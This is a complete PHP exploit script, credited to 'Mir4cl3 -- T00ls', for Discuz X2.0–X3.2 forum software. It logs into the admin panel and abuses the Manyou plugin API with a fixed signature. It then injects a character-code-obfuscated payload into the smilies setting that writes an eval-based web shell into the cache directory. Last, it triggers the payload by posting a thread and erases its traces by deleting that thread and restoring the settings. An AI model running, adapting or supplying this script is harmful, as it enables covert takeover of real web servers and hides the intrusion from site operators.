discuzX3系列 manyou后台getshell

<?php
      ini_set("max_execution_time",0);
      error_reporting(7);
      //ob_implicit_flush(true);
   
      //获取参数
      $question = 0;
      $answer = '';
     
      if ($argc !=  5){
         if ($argc !=  7){
            usage ();
         }
         else{
               $url = $argv [1];
               $admin = $argv [2];
               $username = $argv [3];
               $password = $argv [4];
               $question = $argv [5];
               $answer = $argv [6];
         }

      }else{
            $url = $argv [1];
            $admin = $argv [2];
            $username = $argv [3];
            $password = $argv [4];
      }
     
      $username = mb_convert_encoding($username,"UTF-8","GBK");
      $answer = mb_convert_encoding($answer,"UTF-8","GBK");
     
     
      $adminpath = 'http://'.$url.$admin;

      echo
      "\n\n\n[+] ----------------------------------------------------------".
      "\n[+]  Hacking target :".$adminpath;

      $cookie = dirname(__FILE__) . '/cookie.txt';
      $adminsid_content=file_get_contents($adminpath);
      if(!empty($adminsid_content)){
            $postb = strpos($adminsid_content,'name="sid"')+18;
            $adminsid = substr($adminsid_content,$postb,6);
          }
     
      $post1 = array (
                    'admin_username' => $username,
                    'admin_password' => $password,
                    'admin_questionid' => $question,
                    'admin_answer' => $answer,
                    'frames' => 'yes',
                    'sid' => $adminsid,
                    'submit' => '提交'
                    );

      //获取cookie
      login_post($adminpath,$cookie,$post1);

      //获取formhash
      $admin_formhash_path = 'http://'.$url.$admin.'?action=index';
      $admin_formhash_content = get_content($admin_formhash_path,$cookie);
      //file_put_contents('content.txt',$admin_formhash_content);
      if(!empty($admin_formhash_content)){
            $postb = strpos($admin_formhash_content,'name="formhash"')+23;
            $admin_formhash = substr($admin_formhash_content,$postb,8);
          }

      //修改变量
      echo
      "\n[+] ----------------------------------------------------------".
      "\n[+]  Updating variables ...";

      $editpath = 'http://'.$url.$admin.'?action=domain';
      $payload1 = array (
                    'formhash' => $admin_formhash,
                    'scrolltop' => '',
                    'anchor' => '',
                    'settingnew[allowspacedomain]' => '0',
                    'settingnew[allowgroupdomain]' => '0',
                    'settingnew[siteuniqueid]' => '9999',
                    'settingnew[my_sitekey]' => '123456',
                    'settingnew[my_siteid]' => '9999',
                    'domainsubmit' => '提交'
                    );
      cookie_post($editpath,$cookie,$payload1);

      //激活插件
      echo
      "\n[+] ----------------------------------------------------------".
      "\n[+]  Activating plugins ...";

      $pluginpath = 'http://'.$url.'/api/manyou/my.php';
      $payload2 = 'module=Cloud&method=SetApps&params=a:1:{s:4:"apps";a:1:{s:7:"smilies";s:6:"normal";}}&sign=3700828a41be69d741a53887cff552a6';
      $payload2 = array (
                    'module' => 'Cloud',
                    'method' => 'SetApps',
                    'params' => 'a:1:{s:4:"apps";a:1:{s:7:"smilies";s:6:"normal";}}',
                    'sign' => '3700828a41be69d741a53887cff552a6',
                    );
       cookie_post($pluginpath,$cookie,$payload2);

      //配置getshell变量
      echo
      "\n[+] ----------------------------------------------------------".
      "\n[+]  Configurating shell ...";

      $payload3 = array (
                    'formhash' => $admin_formhash,
                    'scrolltop' => '',
                    'anchor' => '',
                    'settingnew[allowspacedomain]' => '0',
                    'settingnew[allowgroupdomain]' => '0',
                    'settingnew[maxsmilies]' => '1{${assert(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(99).chr(111).chr(109).chr(109).chr(111).chr(110).chr(95).chr(115).chr(109).chr(105).chr(108).chr(105).chr(101).chr(115).chr(95).chr(118).chr(97).chr(114).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(97).chr(97).chr(97).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(64).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(77).chr(105).chr(114).chr(52).chr(99).chr(108).chr(51).chr(93).chr(41).chr(59).chr(63).chr(62).chr(39).chr(41))}}',
                    'domainsubmit' => '提交'
                    );
      cookie_post($editpath,$cookie,$payload3);

      //刷新缓存
      echo
      "\n[+] ----------------------------------------------------------".
      "\n[+]  Flushing cache ...";

      $flushpath = 'http://'.$url.$admin.'?action=tools&operation=updatecache&step=2';
      $payload4 = array (
                    'formhash' => $admin_formhash,
                    'type[]' => 'data',
                    'type[]' => 'tpl',
                    'confirmed' => '确定'
                    );
      cookie_post($flushpath,$cookie,$payload4);
      sleep(5);

      //前台触发getshell
      echo
      "\n[+] ----------------------------------------------------------".
      "\n[+]  Getting webshell ...";

      $indexpath = 'http://'.$url.'/forum.php';
      $content = get_content($indexpath,$cookie);
      if(!empty($content)){
            $postb = strpos($content,'name="formhash"')+23;
            $formhash = substr($content,$postb,8);
          }
      $publishpath = 'http://'.$url.'/forum.php?mod=post&action=newthread&fid=2&extra=&topicsubmit=yes';
      $payload5 = array (
                    'formhash' => $formhash,
                    'posttime' => '1467383180',
                    'wysiwyg' => '1',
                    'subject' => 'test',
                    'message' => 'test1111{:soso_e100:}',
                    'replycredit_extcredits' => '0',
                    'replycredit_times' => '1',
                    'replycredit_membertimes' => '1',
                    'replycredit_random' => '100',
                    'readperm' => '',
                    'price' => '',
                    'tags' => '',
                    'rushreplyfrom' => '',
                    'rushreplyto' => '',
                    'rewardfloor' => '',
                    'replylimit' => '',
                    'stopfloor' => '',
                    'creditlimit' => '',
                    'allownoticeauthor' => '1',
                    'usesig' => '1',
                    'save' => ''
                    );
       $resp = get_header($publishpath,$cookie,$payload5);
       ereg("tid=(.*)&extra",$resp,$tid);
       $tid = $tid[1];
       $getshellpath = 'http://'.$url.'/forum.php?mod=viewthread&tid='.$tid.'&extra=page%3D1';
       get_content($getshellpath,$cookie);

      //判断有效性
      $shellpath = 'http://'.$url.'/data/cache/common_smilies_var.php';
      if(strstr(file_get_contents($shellpath),'aaa'))
        {
          echo
          "\n[+] ----------------------------------------------------------".
          "\n[+] Getshell !!!".
          "\n[+] shell: ".$shellpath.
          "\n[+] pass: Mir4cl3";


          //删除帖子
          echo
          "\n[+] ----------------------------------------------------------".
          "\n[+] Begin Remove traces ...";

          $delpath = 'http://'.$url.'/forum.php?mod=topicadmin&action=moderate&optgroup=3&modsubmit=yes&infloat=yes&inajax=1';
          $payload6 = array (
                        'frommodcp' => '',
                        'formhash' => $formhash,
                        'fid' => '2',
                        'listextra' => 'page=1',
                        'handlekey' => 'mods',
                        'moderate[]' => $tid ,
                        'operations[]' => 'delete',
                        'reason' => ''
                        );
          cookie_post($delpath,$cookie,$payload6);

          //删除变量
          $payload7 = array (
                        'formhash' => $admin_formhash,
                        'scrolltop' => '',
                        'anchor' => '',
                        'settingnew[allowspacedomain]' => '0',
                        'settingnew[allowgroupdomain]' => '0',
                        'settingnew[maxsmilies]' => '1',
                        'domainsubmit' => '提交'
                        );
           cookie_post($editpath,$cookie,$payload7);

          //刷新缓存
           cookie_post($flushpath,$cookie,$payload4);

           @unlink($cookie);

           echo
           "\n[+] ----------------------------------------------------------".
           "\n[+] Done ! Enjoy it !!!".
           "\n[+] ----------------------------------------------------------\n\n\n";


        }
        else
        {
          @unlink($cookie);
          echo
          "\n[+] ----------------------------------------------------------".
          "\n[+]  Sorry ! The Vul Had Been Repaired !!!".
          "\n[+] ----------------------------------------------------------\n\n\n";
        }

      function usage ()
        {
              global $argv;
              echo
              "\n[+] Discuz X2.0-X3.2 Backstage Getshell Exploit".
              "\n[+] Author: Mir4cl3 -- T00ls ".
              "\n[+] Usage : php ".$argv[0]." <bbs> <login> <user> <pwd> <questionid> <answer>".
              "\n[+] Example: php ".$argv[0]."  localhost/dz  /admin.php   admin   123456  ".
              "\n[+] Example: php ".$argv[0]."  localhost/dz  /admin.php   admin   123456  1 lucy".
              "\n\n";
              exit ();
        }

      //模拟登录获取cookie
      function login_post($url, $cookie, $post)
      {
              $curl = curl_init();//初始化curl模块
              curl_setopt($curl, CURLOPT_URL, $url);//登录提交的地址
              curl_setopt($curl, CURLOPT_HEADER, 0);//是否显示头信息
              curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);//是否自动显示返回的信息
              curl_setopt($curl, CURLOPT_COOKIEJAR, $cookie); //设置Cookie信息保存在指定的文件中
              curl_setopt($curl, CURLOPT_POST, 1);//post方式提交
              curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($post));//要提交的信息
              curl_exec($curl);//执行cURL
              curl_close($curl);//关闭cURL资源,并且释放系统资源
      }

      //登录获取数据
      function get_content($url, $cookie)
         {
              $ch = curl_init();
              curl_setopt($ch, CURLOPT_URL, $url);
              curl_setopt($ch, CURLOPT_HEADER, 0);
              curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
              curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie); //读取cookie
              $rs = curl_exec($ch); //执行cURL抓取页面内容
              curl_close($ch);
              return $rs;
        }

        //登录 post
        function cookie_post($url, $cookie, $payload)
           {
              $curl = curl_init();
              curl_setopt($curl, CURLOPT_URL, $url);
              curl_setopt($curl, CURLOPT_HEADER, 0);
              curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
              curl_setopt($curl, CURLOPT_COOKIEFILE, $cookie); //读取cookie
              curl_setopt($curl, CURLOPT_POST, 1);//post方式提交
              curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($payload));//要提交的信息
              $resp = curl_exec($curl);//执行cURL
              curl_close($curl);//关闭cURL资源,并且释放系统资源
              return $resp;
          }

          //登录 post 获取 header
          function get_header($url, $cookie, $payload)
             {
                $curl = curl_init();
                curl_setopt($curl, CURLOPT_URL, $url);
                curl_setopt($curl, CURLOPT_HEADER, 1);
                curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($curl, CURLOPT_COOKIEFILE, $cookie); //读取cookie
                curl_setopt($curl, CURLOPT_POST, 1);//post方式提交
                curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($payload));//要提交的信息
                $resp = curl_exec($curl);//执行cURL
                curl_close($curl);//关闭cURL资源,并且释放系统资源
                return $resp;
            }
 ?>